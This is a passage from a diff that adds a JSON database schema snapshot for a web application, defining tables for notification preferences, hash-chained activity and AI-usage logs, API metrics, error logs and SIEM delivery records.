"text", + "primaryKey": false, + "notNull": true + }, + "notificationType": { + "name": "notificationType", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "emailEnabled": { + "name": "emailEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_notification_preferences_user_type_idx": { + "name": "email_notification_preferences_user_type_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "notificationType", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_notification_preferences_userId_users_id_fk": { + "name": "email_notification_preferences_userId_users_id_fk", + "tableFrom": "email_notification_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_toast_notification_preferences": { + "name": "user_toast_notification_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "level": { + "name": "level", + "type": "toast_notification_level", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'all'" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "user_toast_notification_preferences_user_idx": { + "name": "user_toast_notification_preferences_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_toast_notification_preferences_userId_users_id_fk": { + "name": "user_toast_notification_preferences_userId_users_id_fk", + "tableFrom": "user_toast_notification_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.display_preferences": { + "name": "display_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "preferenceType": { + "name": "preferenceType", + "type": "display_preference_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "enabled": { + "name": "enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "display_preferences_user_type_idx": { + "name": "display_preferences_user_type_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "preferenceType", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "display_preferences_userId_users_id_fk": { + "name": "display_preferences_userId_users_id_fk", + "tableFrom": "display_preferences", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.activity_logs": { + "name": "activity_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "actorEmail": { + "name": "actorEmail", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'legacy@unknown'" + }, + "actorDisplayName": { + "name": "actorDisplayName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isAiGenerated": { + "name": "isAiGenerated", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "aiProvider": { + "name": "aiProvider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiModel": { + "name": "aiModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiConversationId": { + "name": "aiConversationId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "operation": { + "name": "operation", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resourceType": { + "name": "resourceType", + "type": "activity_resource", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "resourceId": { + "name": "resourceId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resourceTitle": { + "name": "resourceTitle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentSnapshot": { + "name": "contentSnapshot", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentFormat": { + "name": "contentFormat", + "type": "content_format", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "contentRef": { + "name": "contentRef", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "contentSize": { + "name": "contentSize", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "rollbackFromActivityId": { + "name": "rollbackFromActivityId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rollbackSourceOperation": { + "name": "rollbackSourceOperation", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rollbackSourceTimestamp": { + "name": "rollbackSourceTimestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "rollbackSourceTitle": { + "name": "rollbackSourceTitle", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "updatedFields": { + "name": "updatedFields", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "previousValues": { + "name": "previousValues", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "newValues": { + "name": "newValues", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "streamId": { + "name": "streamId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "streamSeq": { + "name": "streamSeq", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "changeGroupId": { + "name": "changeGroupId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "changeGroupType": { + "name": "changeGroupType", + "type": "activity_change_group_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "stateHashBefore": { + "name": "stateHashBefore", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "stateHashAfter": { + "name": "stateHashAfter", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "dataCategory": { + "name": "dataCategory", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "legalBasis": { + "name": "legalBasis", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "retentionPolicy": { + "name": "retentionPolicy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "recipients": { + "name": "recipients", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isArchived": { + "name": "isArchived", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "chainSeq": { + "name": "chainSeq", + "type": "bigserial", + "primaryKey": false, + "notNull": true + }, + "previousLogHash": { + "name": "previousLogHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "logHash": { + "name": "logHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "chainSeed": { + "name": "chainSeed", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_activity_logs_timestamp": { + "name": "idx_activity_logs_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_user_timestamp": { + "name": "idx_activity_logs_user_timestamp", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_drive_timestamp": { + "name": "idx_activity_logs_drive_timestamp", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_page_timestamp": { + "name": "idx_activity_logs_page_timestamp", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_archived": { + "name": "idx_activity_logs_archived", + "columns": [ + { + "expression": "isArchived", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_rollback_from": { + "name": "idx_activity_logs_rollback_from", + "columns": [ + { + "expression": "rollbackFromActivityId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_stream": { + "name": "idx_activity_logs_stream", + "columns": [ + { + "expression": "streamId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "streamSeq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"activity_logs\".\"streamId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_change_group": { + "name": "idx_activity_logs_change_group", + "columns": [ + { + "expression": "changeGroupId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"activity_logs\".\"changeGroupId\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_log_hash": { + "name": "idx_activity_logs_log_hash", + "columns": [ + { + "expression": "logHash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"activity_logs\".\"logHash\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_activity_logs_chain_seq": { + "name": "idx_activity_logs_chain_seq", + "columns": [ + { + "expression": "chainSeq", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "activity_logs_userId_users_id_fk": { + "name": "activity_logs_userId_users_id_fk", + "tableFrom": "activity_logs", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "activity_logs_driveId_drives_id_fk": { + "name": "activity_logs_driveId_drives_id_fk", + "tableFrom": "activity_logs", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "activity_logs_pageId_pages_id_fk": { + "name": "activity_logs_pageId_pages_id_fk", + "tableFrom": "activity_logs", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "activity_logs_content_size_limit": { + "name": "activity_logs_content_size_limit", + "value": "\"activity_logs\".\"contentRef\" IS NOT NULL OR \"activity_logs\".\"contentSize\" IS NULL OR \"activity_logs\".\"contentSize\" <= 1048576" + }, + "activity_logs_stream_pair": { + "name": "activity_logs_stream_pair", + "value": "(\"activity_logs\".\"streamId\" IS NULL) = (\"activity_logs\".\"streamSeq\" IS NULL)" + }, + "activity_logs_change_group_pair": { + "name": "activity_logs_change_group_pair", + "value": "(\"activity_logs\".\"changeGroupId\" IS NULL) = (\"activity_logs\".\"changeGroupType\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.ai_usage_logs": { + "name": "ai_usage_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "model": { + "name": "model", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "input_tokens": { + "name": "input_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "output_tokens": { + "name": "output_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "total_tokens": { + "name": "total_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "cost": { + "name": "cost", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "currency": { + "name": "currency", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'USD'" + }, + "duration": { + "name": "duration", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "streaming_duration": { + "name": "streaming_duration", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "message_id": { + "name": "message_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "page_id": { + "name": "page_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "drive_id": { + "name": "drive_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "success": { + "name": "success", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": true + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "wallet_id": { + "name": "wallet_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "automation_ref": { + "name": "automation_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "unattributed_at": { + "name": "unattributed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "key_source": { + "name": "key_source", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'managed'" + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "context_messages": { + "name": "context_messages", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "context_size": { + "name": "context_size", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "system_prompt_tokens": { + "name": "system_prompt_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "tool_definition_tokens": { + "name": "tool_definition_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "conversation_tokens": { + "name": "conversation_tokens", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "message_count": { + "name": "message_count", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "was_truncated": { + "name": "was_truncated", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "truncation_strategy": { + "name": "truncation_strategy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reconcile_status": { + "name": "reconcile_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "reconcile_attempts": { + "name": "reconcile_attempts", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "reconciled_at": { + "name": "reconciled_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_ai_usage_timestamp": { + "name": "idx_ai_usage_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_user_id": { + "name": "idx_ai_usage_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_user_source": { + "name": "idx_ai_usage_user_source", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_provider": { + "name": "idx_ai_usage_provider", + "columns": [ + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "model", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_cost": { + "name": "idx_ai_usage_cost", + "columns": [ + { + "expression": "cost", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_conversation": { + "name": "idx_ai_usage_conversation", + "columns": [ + { + "expression": "conversation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_context": { + "name": "idx_ai_usage_context", + "columns": [ + { + "expression": "conversation_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_context_size": { + "name": "idx_ai_usage_context_size", + "columns": [ + { + "expression": "context_size", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_expires_at": { + "name": "idx_ai_usage_expires_at", + "columns": [ + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_reconcile": { + "name": "idx_ai_usage_reconcile", + "columns": [ + { + "expression": "reconcile_status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "reconcile_status = 'pending'", + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_ai_usage_unattributed": { + "name": "idx_ai_usage_unattributed", + "columns": [ + { + "expression": "unattributed_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "unattributed_at IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.api_metrics": { + "name": "api_metrics", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "endpoint": { + "name": "endpoint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "method": { + "name": "method", + "type": "http_method", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "status_code": { + "name": "status_code", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "duration": { + "name": "duration", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "request_size": { + "name": "request_size", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "response_size": { + "name": "response_size", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "error": { + "name": "error", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_id": { + "name": "request_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "cache_hit": { + "name": "cache_hit", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "cache_key": { + "name": "cache_key", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_api_metrics_timestamp": { + "name": "idx_api_metrics_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_endpoint": { + "name": "idx_api_metrics_endpoint", + "columns": [ + { + "expression": "endpoint", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_user_id": { + "name": "idx_api_metrics_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_status": { + "name": "idx_api_metrics_status", + "columns": [ + { + "expression": "status_code", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_api_metrics_duration": { + "name": "idx_api_metrics_duration", + "columns": [ + { + "expression": "duration", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.error_logs": { + "name": "error_logs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "timestamp": { + "name": "timestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "stack": { + "name": "stack", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "session_id": { + "name": "session_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "request_id": { + "name": "request_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "endpoint": { + "name": "endpoint", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "method": { + "name": "method", + "type": "http_method", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "file": { + "name": "file", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "line": { + "name": "line", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "column": { + "name": "column", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "ip": { + "name": "ip", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_agent": { + "name": "user_agent", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "resolved": { + "name": "resolved", + "type": "boolean", + "primaryKey": false, + "notNull": false, + "default": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "resolved_by": { + "name": "resolved_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolution": { + "name": "resolution", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "idx_errors_timestamp": { + "name": "idx_errors_timestamp", + "columns": [ + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_name": { + "name": "idx_errors_name", + "columns": [ + { + "expression": "name", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "timestamp", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_user_id": { + "name": "idx_errors_user_id", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_resolved": { + "name": "idx_errors_resolved", + "columns": [ + { + "expression": "resolved", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_errors_endpoint": { + "name": "idx_errors_endpoint", + "columns": [ + { + "expression": "endpoint", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.error_resolutions": { + "name": "error_resolutions", + "schema": "", + "columns": { + "error_id": { + "name": "error_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "resolved": { + "name": "resolved", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "resolved_by": { + "name": "resolved_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolution": { + "name": "resolution", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.siem_delivery_cursors": { + "name": "siem_delivery_cursors", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "lastDeliveredId": { + "name": "lastDeliveredId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastDeliveredAt": { + "name": "lastDeliveredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastError": { + "name": "lastError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastErrorAt": { + "name": "lastErrorAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "deliveryCount": { + "name": "deliveryCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": {}, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "siem_delivery_cursors_delivered_cursor_pair": { + "name": "siem_delivery_cursors_delivered_cursor_pair", + "value": "(\"siem_delivery_cursors\".\"lastDeliveredId\" IS NULL) = (\"siem_delivery_cursors\".\"lastDeliveredAt\" IS NULL)" + } + }, + "isRLSEnabled": false + }, + "public.siem_delivery_receipts": { + "name": "siem_delivery_receipts", + "schema": "", + "columns": { + "receiptId": { + "name": "receiptId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "deliveryId": { + "name": "deliveryId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "firstEntryId": { + "name": "firstEntryId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "lastEntryId": { + "name": "lastEntryId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "firstEntryTimestamp": { + "name": "firstEntryTimestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "lastEntryTimestamp": { + "name": "lastEntryTimestamp", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "entryCount": { + "name": "entryCount", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "deliveredAt": { + "name": "deliveredAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "webhookStatus": { + "name": "webhookStatus", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "webhookResponseHash": { + "name": "webhookResponseHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ackReceivedAt": { + "name": "ackReceivedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "siem_delivery_receipts_delivery_source_unique": { + "name": "siem_delivery_receipts_delivery_source_unique", + "columns": [ + { + "expression": "deliveryId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_delivery_id": { + "name": "idx_siem_receipts_delivery_id", + "columns": [ + { + "expression": "deliveryId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_siem_receipts_first_entry": { + "name": "idx_siem_receipts_first_entry", + "columns": [ + { + 